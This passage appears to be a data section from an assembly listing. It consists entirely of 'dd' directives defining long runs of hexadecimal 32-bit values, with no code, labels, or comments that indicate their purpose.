		dd 4B8A6C43h, 306F2B41h, 0D56A7D3Ch, 0C02174D1h, 103A1E39h
		dd 0A0BE42C0h, 0C53B9845h, 0E16B7E11h, 3928365Ch, 41C0D1EAh
		dd 881DF74Ch, 3C82C358h, 5D78193h, 889653D8h, 0EA091524h
		dd 6C6E4Bh, 69C77091h, 82BF50DCh, 0CFA41560h, 9050D894h
		dd 500E0A77h, 4D835E5h,	0D223D771h, 0F044793Ch,	0C844A295h
		dd 0D4C8E15h, 98607130h, 9C7658B6h, 51B82310h, 0BD480060h
		dd 7E04419Bh, 507114E9h, 0D6D66CD2h, 9C740C3Ch,	0EB33A340h
		dd 499F3021h, 0C3813010h, 40E4CED3h, 0C4619BBDh, 1F040C3Ch
		dd 0BED3711Eh, 3889C8E5h, 380D9649h, 83AC4438h,	0C04069B0h
		dd 0D1190F58h, 0A3A8AD64h, 124CDC20h, 0BB0CF71h, 0D4018224h
		dd 0F431A797h, 48807825h, 22AC0C23h, 0D402D49h,	84E93460h
		dd 0A4DA6976h, 4BA4108Ch, 0AE7D0985h, 71E882DFh, 94CC279h
		dd 0A458B068h, 0EBEC095Ah, 140062D6h, 2A78EDC4h, 24F29801h
		dd 587E510Fh, 0C4133C65h, 0EC8BE464h, 6214C843h, 718480AAh
		dd 0A49090A2h, 68D3BF98h, 4C80D024h, 3CC3CACh, 0C6A45928h
		dd 40031B6Fh, 5234C24h,	4C92DE6h, 3812E462h, 68093C62h
		dd 0AB4804h, 19659E91h,	749D1DA1h, 7EBC4109h, 41CC99F2h
		dd 0E0729B93h, 9C925456h, 0D28E7118h, 4C6A2350h, 94C124D6h
		dd 0F8363D4Ah, 4C00B915h, 0AE107E7Ch, 30D0FADEh, 19705E66h
		dd 73580AA5h, 317D08E4h, 8AE42CA4h, 47B8F56Fh, 3B1CA1DAh
		dd 0E18DE1C5h, 81084272h, 23F99463h, 988880B9h,	4AD00AD1h
		dd 98098E6h, 9E3F7E6Ch,	0EBA0E413h, 0A41B083Ah,	0B460826Ah
		dd 4030ECC9h, 0C9541E22h, 249F1EAEh, 0D1F9E764h, 405766A4h
		dd 0BCAF95B4h, 0EC79732Ch, 0E428B70Ah, 342A7DE1h, 0FFE56700h
		dd 66EB6212h, 9B4A6404h, 40A924A0h, 0A63C9A4Fh,	57729848h
		dd 91BF9910h, 84E51FC0h, 80AF7F71h, 52627504h, 19CBAD1Dh
		dd 54A09900h, 3ABC044Fh, 7C00F47Ah, 1D1C0692h, 7330D172h
		dd 75B9508Eh, 26EB01C9h, 0B60C9FDFh, 47D88199h,	0D8697884h
		dd 84760C23h, 0C0BA737Bh, 54985572h, 501618B8h,	9C376B81h
		dd 20A1C3E4h, 9023F464h, 0B3962C24h, 5828A488h,	0ED608571h
		dd 0FC24E710h, 1E84F8DDh, 1FFDEF4h, 0D80B4052h,	348AD250h
		dd 60AA00DBh, 473E87DDh, 224E9200h, 0AD61FE85h,	81300064h
		dd 0AA21907h, 281C7869h, 0BCC39CCCh, 0FA71F580h, 0D728C9C1h
		dd 0A1054001h, 0FD80F0F1h, 6CE34F7Dh, 8883371h,	83A04920h
		dd 0F400D5A5h, 0B5037BA8h, 17A471BBh, 231B5F9Bh, 97A04914h
		dd 7D12F792h, 64404D6Bh, 0F169DEAFh, 60F83A02h,	31516E80h
		dd 80842C49h, 0F2734D00h, 0BA999F83h, 78093C12h, 71970CFDh
		dd 6B80C33Fh, 4842FD4Bh, 8166ABD1h, 278F4A88h, 1CFD6E1h
		dd 4B955410h, 0E873A444h, 0E2EA24D2h, 7CE42E4Ah, 0EE4011Dh
		dd 96CA1912h, 710840A7h, 68CF58A5h, 6C00976Eh, 9C33001h
		dd 756734A4h, 0FA4C0E0h, 0DBA062DFh, 98A4F37Ch,	0FF7D6709h
		dd 76F802B3h, 6E48C09Eh, 71183B0Eh, 0EB01F2Ah, 0F59D17Fh
		dd 2B8169EFh, 805BCCBEh, 0B0627418h, 98D0E91Bh,	250880B0h
		dd 0FC14A0ADh, 714D097Eh, 0ECDE63A1h, 0E447CF96h, 7ED10498h
		dd 0C300325Dh, 62F06BC5h
		dd 0C4BCA748h, 58D2CAFCh, 0AB346171h, 0A18093Ah, 17026505h
		dd 4204A4A0h, 0EB108261h, 9824BD4Eh, 72E0C0ABh,	601D162h
		dd 0F39E8C94h, 7413D1Eh, 8A127569h, 0D6F01121h,	0D0BC0E14h
		dd 1033E90Fh, 4A05087Ch, 91244DF2h, 0ED9E1Ch, 4567F08h
		dd 19DF9B28h, 1D7581F8h, 4B688009h, 0C9C35E3Ch,	2CA0B849h
		dd 907C39E6h, 7424490Fh, 0AECE040Ah, 982A8F50h,	0D125F8B0h
		dd 539C8454h, 7C3874E7h, 2D6F4C8h, 65E7D94h, 0CC6A9499h
		dd 52EA461h, 7E025022h,	402912F5h, 21E1ECh, 0C6991B0Ah
		dd 28B1372Ah, 0CCCB8424h, 0C4E4F700h, 0A795E7h,	3C646CDDh
		dd 2893BE99h, 0BC2F503Ah, 8A628CBh, 27067E16h, 8826AC23h
		dd 7C176Ah, 0B101F777h,	370A965h, 988D7E18h, 95EEE928h
		dd 0AE616818h, 81BBE28h, 0E3465505h, 0E00BEAFEh, 0A47C3009h
		dd 0BCC3508Ch, 889E1D84h, 4F4266Bh, 1207F9A3h, 0F8B16905h
		dd 0AA140D1h, 0B547988Fh, 85FC8DE0h, 0F5CA4D1h,	2C308094h
		dd 45E4010h, 0D82D269h,	0D3C08131h, 0EEFC0317h,	261398E1h
		dd 121897DEh, 772C40FEh, 6D16B498h, 5CEB7E3Eh, 98672014h
		dd 7FBC8014h, 548800F3h, 0A07C695Ch, 62095634h,	0CC4BAAFCh
		dd 6B102010h, 0FF7CA900h, 8205B295h, 711D3E3Dh,	4480B62Ah
		dd 7303100Ch, 9DE644CEh, 8E629h, 0CA7A899h, 2208A95Eh
		dd 4607AC03h, 0E8844DA6h, 9F3C714Ah, 88CDF042h,	71408225h
		dd 1350D6C6h, 0FCFC2093h, 8C9962B8h, 0DCD10684h, 0DA6C00FEh
		dd 0CAC233A3h, 0FCA00703h, 0D8D89AB6h, 287ED9B2h, 0A88CC570h
		dd 30D10CC8h, 71385A6Eh, 0F4F983D3h, 200C7C23h,	900F0349h
		dd 0C1DC0385h, 1EE28404h, 0E7704AE0h, 0CDB0B202h, 68559ED1h
		dd 58A06FA4h, 718388F4h, 500FA937h, 5D29E6Dh, 6C417330h
		dd 0E589A43Eh, 3523D474h, 98E0A799h, 1D00607Ch,	0F26C7108h
		dd 0ED64Ch, 6B7572F9h, 18A81B2Eh, 5928D13Dh, 3EA4088Ch
		dd 0C051F54h, 29982523h, 0C96EC90h, 83D80425h, 238E08E3h
		dd 2C81F52Ch, 0E7F6490h, 806F6B81h, 0E371AC0Ch,	0A47E760Ah
		dd 0E90EA4ADh, 581CC4E4h, 8015F0C2h, 0F66DC0FCh, 20C890B5h
		dd 21068022h, 0E65A44Ah, 54974850h, 0C4044A78h,	96FC88B8h
		dd 2361C09Eh, 7D000A6Dh, 0BCB9080Ch, 74B71200h,	73EA9605h
		dd 3F1D7506h, 420023BBh, 7DF5B0FEh, 489A2AA7h, 7FBCD101h
		dd 0CB1F71E7h, 4D6E880h, 0E1D8D0Ch, 0DFFE9717h,	57E1980Eh
		dd 86414C02h, 749C7031h, 499941D1h, 64603450h, 0D07B712Eh
		dd 16A89760h, 1339D27Eh, 0DA6C30DCh, 409EB419h,	7BD808h
		dd 0A229CDE5h, 879F6F7Eh, 3F007FD8h, 791DFD8h, 5C320FF5h
		dd 0B94EF049h, 0D12EBBA7h, 0AD898CC5h, 4F9013FEh, 841C5470h
		dd 0F9437D18h, 0D500F885h, 3A6E68F2h, 441CFBDh,	0B373807Bh
		dd 0CF11EBB9h, 9BF20CCCh, 90845064h, 2091624Ch,	40726540h
		dd 0A486E89Ch, 49C0481Dh, 407C109Fh, 1E207D7Fh,	76F2D75h
		dd 61EBA431h, 4C803630h, 78518B4h, 3874D861h, 0FC09F0CBh
		dd 84391F8Ch, 67689F0Ch, 54634A60h, 992864B0h, 82161680h
		dd 220CD1E9h, 3F6822F2h, 71C30975h, 0FCBC2713h,	0BD9720E0h
		dd 25F70C31h, 0E990E5DFh, 1334C04Ch, 208C1C2Dh,	21610A6Bh
		dd 2448BC99h, 5D690834h, 14494612h, 4C102597h, 5ED168D8h
		dd 290C81C7h, 0FDF7DC37h, 0A305C091h, 10882F45h, 507265BAh
		dd 0A33C043Eh, 9411FB61h, 0DA9985A4h, 88104413h, 844A1E0Ch
		dd 0B08F514h, 6831A397h, 0B9FF71ECh, 0B87D8654h, 0B3002895h
		dd 0F9C6DB63h, 307E2379h, 52186818h, 36F0199Bh,	60E8E651h
		dd 1AF6A484h, 61D3C8A9h, 54400C0h, 19881881h, 0A8AC50C6h
		dd 1944B273h, 0B148DEA4h, 0D84CCDC3h, 0D473190Ch, 0A472692Ch
		dd 4A774463h, 51A06051h, 6202C0Ah, 0D99940A0h, 0E41DB92Ch
		dd 6EB3FE0Ch, 7108C2EDh, 0ECE45C76h, 6E011B04h,	7CF8BF7Eh
		dd 85A1191Ch, 8118B629h, 641FA690h, 0E8987A20h,	971E2000h
		dd 7CBFC32Ch, 0F5DC00A8h, 786922E3h, 5F00BDFEh,	0B06F48BCh
		dd 0B0759D67h, 0F800F0Ch, 77A0184Bh, 439171E6h,	0AA4E748h
		dd 70E56993h, 0B1FD6B00h, 242C96EDh, 0E090176Fh, 0AAFAD925h
		dd 4206B48h, 0ED14B1E6h, 7B85ACC7h, 0CD10802h, 3F144051h
		dd 81FC9186h, 9E6BE9C3h, 59543CC8h, 0E17D0CB8h,	41A6012h
		dd 5646A464h, 48F4F41Bh, 81697E31h, 0C060D811h,	0B585804h
		dd 1205A165h, 0FF64288Ch, 1D76B340h, 80168DBAh,	0A4CAE90Bh
		dd 0E49AF2B0h, 0A3B5FC05h, 9EBC02Dh, 7CCC0C24h,	0DDD127h
		dd 9E704224h, 627CBED5h, 8C90B595h, 0D005E7A3h,	50CA714Ch
		dd 847CAC00h, 0C5CF8A0h, 0B637D165h, 2F779148h,	88F2432h
		dd 9568C067h, 4524A0A6h, 4088B498h, 0F0233DCEh,	195CDB4Dh
		dd 25283818h, 2D22C38h,	0F284D3F0h, 58A088A9h, 3DBABE74h
		dd 0A8AC6D24h, 124C742h, 2857D550h, 0EEAD8198h,	65E40147h
		dd 0F27A00BCh, 698ACE4Dh, 86170FD6h, 5C8219E5h,	27E070A3h
		dd 0B0125032h, 62DF8383h, 0A41DEFE1h, 3D413418h, 19C037A4h
		dd 0F73802FBh, 6CA623C1h, 221A9866h, 0E01130D4h, 8354A848h
		dd 4A047BD8h, 0B27C4401h, 50577ED2h, 17788424h,	891D8E23h
		dd 82389058h, 62F76C04h, 0CA38801Eh, 0C2E8E5CEh, 88DAA416h
		dd 0E80022h, 0C09FE50h,	843DDC05h, 4C846F80h, 7CE37481h
		dd 0B5BFEC00h, 0FBD3BC09h, 881692h, 0D2F4F574h,	0BC416B18h
		dd 7E9CB20Bh, 19B8C004h, 30D478A9h, 84B94062h, 3091F47Ch
		dd 48E6898Ch, 7177791h,	714254ABh, 5AB42211h, 64A0F064h
		dd 0F4547999h, 713F24D8h, 0A020EECFh, 0DB6150AAh, 60DC5933h
		dd 16035B71h, 1E1488B0h, 24A4A740h, 2D78B990h, 0CD232881h
		dd 80AC6C3Ah, 0FC1B7693h, 85965811h, 0D4A0D62Dh, 14DCFA62h
		dd 8FC11E1Ah, 7B0861B0h, 18581102h, 912FFB0h, 0D40168ADh
		dd 0B015CC4Bh, 0B6F4C6EDh, 0B4A1D1D0h, 0BBB7D09h, 0CEC160C0h
		dd 0B4864Ch, 0B20EBF08h, 2C35A67Bh, 18BAAAFh, 0DC7E74D0h
		dd 7CC464EDh, 2DAB6700h, 4BAD8447h, 0E8BB4DB9h,	997E7206h
		dd 80FA2866h, 4B5C1603h, 8A6C6E4Ah, 0A9CEC02Dh,	95FE0083h
		dd 6542C0B3h, 0A1907259h, 0B8099082h, 10E680E9h, 0AADD6350h
		dd 779060D4h, 0E07B0724h, 0CBA2DAE4h, 0F81C0438h, 80701948h
		dd 4B76F58Dh, 0D1AF0A0Bh, 9984466h, 4C68EEF2h, 0C0AAE490h
		dd 975B304Eh, 0A00B7812h, 0C06C92A2h, 0EF439B4h, 78A9600Dh
		dd 0F8737D03h, 8188A848h, 35071350h, 252F2479h,	0AE7DB418h
		dd 0CC12BA5Bh, 0C5FCC002h, 11D45948h, 5084D95h,	4C14C1D6h
		dd 501A18A3h, 8478916Eh, 0C0FC8158h, 15491DBDh,	0F09AF472h
		dd 0E08A0A5h, 64AB5123h, 0A312E428h, 175CA20Fh,	0F456FF67h
		dd 9A8764D1h, 0D6FC4C00h, 9960C091h, 3DE461D9h,	0A63C1E58h
		dd 8A128h, 0E882CE96h, 1B71E780h, 9410855Eh, 833078A8h
		dd 122310AEh, 82809137h, 1FD10E6Eh, 0F0CE006Ah,	6E6BF080h
		dd 0F83FBC0Bh, 109C85B5h, 2262E844h, 0D4019A09h, 80ECD471h
		dd 80656810h, 1DFD3174h, 5CEB733Ah, 0A01E43BCh,	0B8CCE411h
		dd 3F9FC13Ch, 70E0B8D5h, 8FAFA06Ah, 6FE906CCh, 882438A4h
		dd 26EA74F8h, 0DD1D30Bh, 9318E7DDh, 23508C0Eh, 9022C925h
		dd 7D849598h, 0D60401F8h, 8CCE12D3h, 0A62C6016h, 595B5202h
		dd 4896637Eh, 7D7CC7D0h, 0BCEE04D8h, 0B8C0E9BEh, 0D8325A70h
		dd 0A464C097h, 80FD4885h
		dd 71B5E502h, 88C84BC0h, 20079FD8h, 70690497h, 1D2C2280h
		dd 0FDA778FCh, 80C50847h, 30081412h, 9ED90911h,	0BB2AF040h
		dd 50EF6A30h, 36E15C4h,	0AE7068FCh, 74B7DACAh, 680810AFh
		dd 23241450h, 6807D413h, 0B33030A2h, 4B3AA4F6h,	0B9F4241Ch
		dd 74267C64h, 71E80BBh,	7352EA80h, 0A1D9DDh, 7CC0C317h
		dd 5EBCE8A7h, 0C9655174h, 0CD019F8h, 53D7AAFh, 0E071457Eh
		dd 67900061h, 0F8164CB9h, 2830700h, 0ECE694BBh,	2B576BEh
		dd 0D1ACE2ADh, 0D880DBC3h, 6CF2341h, 59307D80h,	711EFC09h
		dd 1EA8686Eh, 17C88672h, 8470B0E8h, 20ADB8C0h, 0E5177ED5h
		dd 0C0D39D30h, 0BA6E6908h, 9038C8F6h, 0FCAE817Ch, 7B11188Fh
		dd 8004861h, 9263C5D1h,	14BD427Ch, 228CB297h, 0A0F7FAC1h
		dd 4A730DF0h, 60DC2127h, 0C420211Fh, 4A5866FEh,	11770020h
		dd 0C2191728h, 61B8BC0Eh, 7D235FA4h, 786E04FCh,	18C0E256h
		dd 12DF785h, 4CB69DF3h,	2ABA36A4h, 3ED00010h, 54F49F9Ah
		dd 6849F512h, 0D884400Fh, 9BB9098Bh, 74701709h,	0BE20B095h
		dd 0A441179Dh, 66080FDh, 8595E2D1h, 7CBCEBCCh, 0AD4A710Eh
		dd 0D4ED25FEh, 0CB4AF491h, 50A40AE0h, 0B3909C44h, 0A580947Dh
		dd 3D203CDAh, 0C950104Ch, 20C5CE7h, 86A45322h, 8D64E8E9h
		dd 0BF362E0Bh, 28E218B8h, 660B38A8h, 0C04171CAh, 963D60h
		dd 29FD1BB2h, 8BCD9907h, 14A1250Fh, 80AF697Eh, 0F2732FF4h
		dd 0EBCF0097h, 9AE8A87Ch, 0D8B00C62h, 0C2231803h, 418EE4F0h
		dd 0F04B08E8h, 88D0B32Eh, 34053A6Ah, 95C040C5h,	5D4B7121h
		dd 354E48B5h, 7530B08Ch, 4A5D6A20h, 12ACA24Ah, 6CC0147Dh
		dd 0E7A4E0E9h, 9BE40B2Ah, 0D1814002h, 0C23EFC79h, 6F0884Bh
		dd 667828B0h, 64402524h, 0F025000h, 40BFD18Fh, 0F10CAB71h
		dd 20158BC6h, 0B4FD07D8h, 91DC69BBh, 0F3FB6CC3h, 6E5571B0h
		dd 0D91BB800h, 746933A6h, 0EDAA03D2h, 3D56A419h, 0D10AB006h
		dd 6158AC18h, 494C9827h, 0D924204Ah, 42CA84Ch, 0C596483Fh
		dd 0FA146780h, 720A3170h, 83AB83B8h, 0A77DDFC6h, 54F80026h
		dd 50178204h, 0E0C3EA21h, 1EE61671h, 32D87B30h,	0C4A43120h
		dd 0A7344017h, 4F4DA9Ah, 0E2A44952h, 0FCE96Bh, 66D0B15Eh
		dd 52450572h, 705298E7h, 0A4A4284Fh, 5951A820h,	7D08B012h
		dd 1C2415B3h, 65FDB400h, 4C98713Fh, 7814F0BDh, 0F201890h
		dd 0EB82A020h, 804FF830h, 0D200D63Dh, 0CCF37C17h, 0EBBE4Ch
		dd 2D627D69h, 0A5DC5F74h, 7757D10Ch, 5B19E935h,	494C2014h
		dd 67607F7Eh, 0EA120558h, 253E0EA6h, 0C3A0DD7Dh, 7120D783h
		dd 0CC925EFAh, 6BE5F401h, 7311C1ECh, 801CDE3h, 0F9A8714Ah
		dd 490098B8h, 7E75B9F3h, 60C22C6Ch, 6271C5F1h, 4CC058D8h
		dd 0B183C1Eh, 0A583E8D9h, 0E9D09900h, 7EC1FFAAh, 841F5C3Bh
		dd 0FC5E2180h, 96003E4Ah, 0BCDA86B3h, 9D59102h,	8A1BD10Ch
		dd 0A7A8A8A0h, 0E417C5FFh, 0F410B515h, 0D6C45008h, 0E6258CB9h
		dd 2AD11B5Ch, 0D4F81849h, 6098E9A0h, 482D2724h,	9CD65B93h
		dd 106C4808h, 3763F180h, 7524D10Dh, 9A0F4CA2h, 0DBE9A0CEh
		dd 61C28CCDh, 46D108D3h, 0BC702B6Bh, 0C46A30FCh, 90B1D148h
		dd 0B5D9B278h, 7362CF00h, 8E475207h, 0E170135Fh, 0A39C801Dh
		dd 0D089121Bh, 0C839A742h, 12247FFCh, 0A5B8B50Fh, 82080478h
		dd 68C9E21Ch, 0B8443A68h, 80233ACh, 78D80EEBh, 3DC99961h
		dd 1C208BCEh, 0CCD08327h, 5A639B59h, 0A8DD6918h, 167491Ah
		dd 2CE9837Ch, 0DCA9357Dh, 0C20F95FEh, 80ACA624h, 719FA15h
		dd 0E1E3E014h, 0B1641E0h, 211071B8h, 70E2E49Ah,	4C90404Eh
		dd 0E9947117h, 2DE1AC44h, 42288153h, 0C643072h,	0FD70A912h
		dd 6D13CC03h, 0D0998B24h, 0E160E296h, 0C29B6F0h, 19CDB343h
		dd 0C725D1ECh, 428C645h, 897E7646h, 58B71201h, 20ACC9D3h
		dd 0ACA04CC3h, 3B2E6E6Ch, 3100A421h, 2B64C499h,	84121E1Dh
		dd 0D9BC00A1h, 0E67A0151h, 7FF690B0h, 0A4504D0Fh, 0AB6078EDh
		dd 98A34E04h, 0DE04AFACh, 42E6D163h, 25A42090h,	45700052h
		dd 0B6B9A996h, 0B2005AF2h, 7C710EC7h, 0EAC0BE78h, 98FC6059h
		dd 30C6C6Eh, 4EECA45Dh,	3078D4E9h, 0D680858h, 7613ED71h
		dd 1C82B8B6h, 0BD544C4Ah, 2C3A0822h, 0A0E89504h, 0C0741DD2h
		dd 7D216CF2h, 0D6127168h, 480012C6h, 3A2F4AD4h,	0CA910016h
		dd 0A43FA09Eh, 6C9ADE48h, 50481E5Ah, 40AF080Fh,	9BC92000h
		dd 0E5823BAh, 0C2C312DDh, 2602D05h, 0B72B7EEDh,	0C4E1B8C2h
		dd 0FF34D865h, 9A4094Ch, 0E4825C8Ch, 84FC00CCh,	0C508BD4Ah
		dd 491E41A6h, 4354216Fh, 96E90188h, 0E4650D2Ah,	3B11EC4h
		dd 0ADD131F2h, 0E7A0576Fh, 10B13543h, 0DFA44782h, 0D1950015h
		dd 520E1697h, 80AA3FE4h, 813F8E6h, 0B8E4957Fh, 8800284Bh
		dd 7899D704h, 155AA4h, 0E3A9B48Ch, 215ADCDBh, 5BFCD430h
		dd 41149C15h, 9414607Dh, 0C0BC8010h, 71180DBDh,	982849AEh
		dd 2D509202h, 747A3536h, 7771250Bh, 9145204h, 99E5FDA1h
		dd 35A45083h, 6CD69809h, 3B451F3h, 0B8BB5D6Fh, 0FCD1AEC0h
		dd 0F2501B61h, 0C730688h, 9EA39100h, 0F7A442A6h, 0FC58019Dh
		dd 213E3F17h, 0D61E7D08h, 4C5E384Ah, 610CD109h,	0BC308FF8h
		dd 0A0910925h, 0E479B596h, 0EAC79567h, 601FE7D2h, 3C1357ECh
		dd 9D861B66h, 28A1F571h, 230B6F1Eh, 0A48CD013h,	190D8C40h
		dd 0C1207971h, 25E08031h, 7610C960h, 0E1943D84h, 0B9F001C4h
		dd 0C4B5100Ah, 4CB13929h, 707DF70Bh, 0C8C33840h, 0DC01A424h
		dd 0A5E90D8Fh, 740E0778h, 10D5D66Fh, 0EB3CCCA3h, 0CD10B44Dh
		dd 0C3710AA3h, 720FC47Dh, 0A88092C5h, 9F029850h, 7B71FC90h
		dd 0C017A424h, 205478A7h, 0F3E8270Bh, 0A4425226h, 89A9AFCEh
		dd 0CCFC82DBh, 7E94A3EFh, 0C8A9DD5Eh, 275BFA00h, 38F27C61h
		dd 0BC012DE4h, 0C654E669h, 1882F3CEh, 799B697h,	4A309CC0h
		dd 0A3BC1404h, 0F0ACC16Fh, 0A29A1F00h, 52D868A0h, 0BFA7B517h
		dd 1ACBA81Dh, 0A6400DAh, 7472FD1Dh, 0E49E0106h,	10908CB6h
		dd 680FF0E7h, 7527002h,	0DC22BE50h, 8F834218h, 6158E4E3h
		dd 0A4E7093Ch, 1E4CF8B0h, 3E3DD015h, 0A0118AB3h, 0AD1BB3D0h
		dd 4505F470h, 0FE8D16Ah, 0E4C83CACh, 456DF08h, 0ACEFA440h
		dd 73E04C50h, 2D188860h, 350626Eh, 0DA050E95h, 0C3997E3Dh
		dd 690880C9h, 26CEE676h, 0A090A21Ch, 8BD1ACA0h,	0ECA0979Ah
		dd 74048DC9h, 23F0876Eh, 5083A27Eh, 91D96428h, 20E71870h
		dd 1416210Bh, 20C12F27h, 7864CE0Ah, 4D8BF848h, 4F006CE6h
		dd 841302CBh, 53004D7Ch, 0B62CA073h, 13D39E6Dh,	0E4598B71h
		dd 277E9CBCh, 0BD0BFC78h, 121166A4h, 0B420C030h, 406A8091h
		dd 5AB1EF00h, 0BDA4CCC3h, 7A8A4D9h, 526368ADh, 0C0720759h
		dd 0EEBA17CAh, 4A02653Ah, 7161B002h, 6AF47C76h,	42782E14h
		dd 0F8F1C435h, 294B9910h, 22C82118h, 0C9E90040h, 18A99871h
		dd 97A8BC6Ch, 7DC0420Dh, 0C4CA03F5h, 5CC08C62h,	0D432A42Ah
		dd 0DEBA68D3h, 474E5060h, 4CCD4280h, 3A3D988Fh,	70158C58h
		dd 72053C6Ah, 0D743EBA4h, 878F9CCh, 9D00C09Ah, 0EA934AD5h
		dd 0EEE61950h, 401860C8h, 1720F897h, 0D701A1F6h, 0A46D7522h
		dd 20349294h, 26E5E6BDh, 606BC8h, 0FE8DF9EFh, 0C0F0ED15h
		dd 344208A2h, 0F848140Bh, 0D8946724h, 9235560h,	6FA1CFDAh
		dd 42D1B898h, 0C85405B5h, 213D0BDh, 8FC0A3EEh, 6008F808h
		dd 0D819954Bh, 0A4223E95h
		dd 4970DCA3h, 0C476F4BAh, 3B42A08h, 0EF56A43Eh,	0EAC54101h
		dd 92652330h, 0E90AF0h,	32BA74D2h, 0F5E8EB09h, 136DA801h
		dd 0ABC87129h, 827CD8EBh, 0C4C7B4Fh, 7477D111h,	7EEC1958h
		dd 0F0C3882Ch, 21248580h, 7C1DA7h, 1728C783h, 75EA11CAh
		dd 54B8BE00h, 0A24B9795h, 317E160Bh, 3FD0C9EEh,	0B01D5416h
		dd 0A8FC1520h, 3858ECAEh, 53C99D01h, 0F4130D96h, 3E307E2Ch
		dd 712440F4h, 501F490Eh, 8BB9A27Ch, 0A08C00E0h,	505E225Fh
		dd 4FF0DBh, 29C2CC68h, 0F7177EA5h, 584C40CCh, 0BDF11D64h
		dd 0AFD34133h, 402DC971h, 0C53866BCh, 10D4705Dh, 0B5784C3Dh
		dd 84404CB2h, 2B00AB7Fh, 0D69DDCF4h, 2F72031h, 0BB227A7Ch
		dd 0B8421EB7h, 0B3610680h, 149889FBh, 0C8A30880h, 0C6D09354h
		dd 2D6BF73Ch, 0A9AC022Ch, 0CE3C4078h, 1FCE8DEh,	0EEB9267h
		dd 0D1A4D5E9h, 0BC388140h, 0F0DA9AAFh, 58872460h, 4ACBA0EDh
		dd 0A413D05Ah, 0CC37F247h, 0D4434800h, 717E1657h, 3C88F3FCh
		dd 80E1A516h, 37A77C44h, 0CA3A1F6Ch, 10608369h,	7FE05879h
		dd 4E2606CFh, 7E8B081Fh, 92945833h, 0A4D8B604h,	0F7A0009Ch
		dd 7C222A30h, 5BD0D700h, 7968FDB9h, 96D51FA7h, 0B67701F6h
		dd 70165F59h, 0A297BFF8h, 0D954735Ch, 0F5D982D4h, 16047551h
		dd 5E719F80h, 0C3593C39h, 0BB193EBEh, 0FC8F1818h, 0FC903250h
		dd 3060D88Ah, 0DC0773ADh, 0EE810674h, 18F62A90h, 690E3EC6h
		dd 4C02513Eh, 6783A4F7h, 703B8CD0h, 1886AED9h, 0B71282C4h
		dd 5D7112E0h, 4CB01457h, 28389754h, 0F8917B7Ch,	0D10D2790h
		dd 40F0B2D2h, 0DC432248h, 2D6A3100h, 1156017Fh,	9A412EDh
		dd 130CB341h, 0A800D42Ch, 12B0B796h, 993101AFh,	3CF697BDh
		dd 0E1CAD5FAh, 0F0843A5h, 22A7881Ch, 0E807DCD3h, 0B7915F02h
		dd 0FC6833D1h, 4C0A32Fh, 7CB8A086h, 92844516h, 0C29A1862h
		dd 42F05424h, 384A0F55h, 0D591E8C0h, 80BF9093h,	6E8571D1h
		dd 3C02A56Ch, 0CF9301F6h, 0E4F8443Ch, 82509360h, 44B3E12Ch
		dd 0E97E7602h, 0EFC4F951h, 0A2A69644h, 0AE15C548h, 0FF8B40F8h
		dd 0E147D448h, 3B810580h, 0E2010D75h, 0A997EC73h, 0E0C83F19h
		dd 0F0C0E438h, 31265A0Fh, 4678FC04h, 6251148h, 49009814h
		dd 1F11C90Bh, 698BDC79h, 24FC71C5h, 447BC9D8h, 4CB24293h
		dd 147F0714h, 9FF2B109h, 5042C871h, 445A093Dh, 94CD820h
		dd 49FCA441h, 1CDFA8A2h, 238A5C90h, 0E10F41C9h,	4C293E24h
		dd 33B0905Ah, 0D9133683h, 0F89917A5h, 0C034513Ah, 20A19984h
		dd 0C088BF7Dh, 36FFAB18h, 49D48C0h, 0BC80E91Ch,	1220B296h
		dd 9CD3Ah, 9F167A50h, 84267E13h, 0AB0B206Eh, 0B9FCC01Ah
		dd 6B8FF8D2h, 5C585045h, 5D088487h, 0CE190078h,	1869BB96h
		dd 4C5EB778h, 8EC1CC5h,	0DF1DF904h, 7624C0E7h, 4119D0C5h
		dd 0BB6CD80Bh, 710B5C26h, 70C8C907h, 913DFFE3h,	1AD4B5C7h
		dd 23CF04BDh, 17D089AEh, 58E49E77h, 0F47C820Eh,	0AB230D80h
		dd 4C3BD010h, 14735002h, 0E418B554h, 1C4A528h, 0F56CA499h
		dd 2195FC5Ch, 2748014Ch, 6B2C30F6h, 4886D5Bh, 9B4D40EAh
		dd 2DB816BDh, 0C489FED1h, 0D90F1C70h, 8BC4CE9Ah, 0B25CFA51h
		dd 0E1C83518h, 0C410EC68h, 46AA5208h, 0A0B95174h, 78001495h
		dd 0C18CBC81h, 2363F07Dh, 0DC6B0084h, 0D11DAF16h, 0FC1449A0h
		dd 0A916D84Ch, 71C44466h, 76C0E01Ah, 18B5163Ch,	78F037F4h
		dd 9A2C207Eh, 641DF727h, 16BF25C4h, 21819810h, 0FC1244A6h
		dd 7C3046E2h, 4B96D160h, 0ACD8247Eh, 5A7D1654h,	602CCCA1h
		dd 0F4160D07h, 0A572C3E8h, 734B1800h, 31D295EDh, 0E5180B48h
		dd 44F0AC71h, 82076700h, 9D837BC0h, 318F0316h, 0B9CB19FBh
		dd 0F8EADA0h, 49F6502Dh, 8787054h, 9FD4A00h, 1F5D1CBDh
		dd 0FC508CF8h, 1E54D70Ch, 9E41C8E0h, 0FDE5BC79h, 64675B90h
		dd 306E81E8h, 7004BE2Bh, 0D500FF28h, 0DF7E18C6h, 25A4C9C3h
		dd 0CC1CCF5Eh, 0DB80749Ch, 4ACC9D51h, 0FE32E8D9h, 0FE3F009Fh
		dd 6A70FB92h, 0E87D9093h, 786FE907h, 0A4F2CABEh, 20D0BCh
		dd 4FB3876Bh, 0CECBC3C1h, 69E439h, 4C68302Bh, 5C9DC7Ch
		dd 0D158200Fh, 5C00BA3Eh, 9BE6D329h, 4AC35E71h,	0A5507A68h
		dd 10282C0Ah, 64A92E89h, 0B017D08h, 38007871h, 5A6BBC74h
		dd 0E55670C0h, 12A4A87Ah, 2219F9C6h, 0B0519060h, 0E3ACB200h
		dd 0B19EE46h, 0F447FCEDh, 0A980E079h, 112088B2h, 0F782C7Ch
		dd 0FCEAC4ECh, 498D1444h, 888F00E4h, 83D6D768h,	0CF9A03A4h
		dd 73790882h, 632B810h,	95241D4Ch, 78840F7Ch, 18535786h
		dd 64F7A51Eh, 32A4A081h, 8C621B63h, 6069A314h, 0C8EF850h
		dd 75A8D1C9h, 7601AD38h, 0A3B03EECh, 0C8244C28h, 0AC7A4C4Eh
		dd 8270E902h, 78FC14B9h, 62187652h, 420F73h, 6B649090h
		dd 9CA81094h, 1EEB5018h, 807C39C1h, 7B4A7E77h, 6E690000h
		dd 50B0EFBh, 0D164732Dh, 3E8CB020h, 0A49E14BAh,	80B42417h
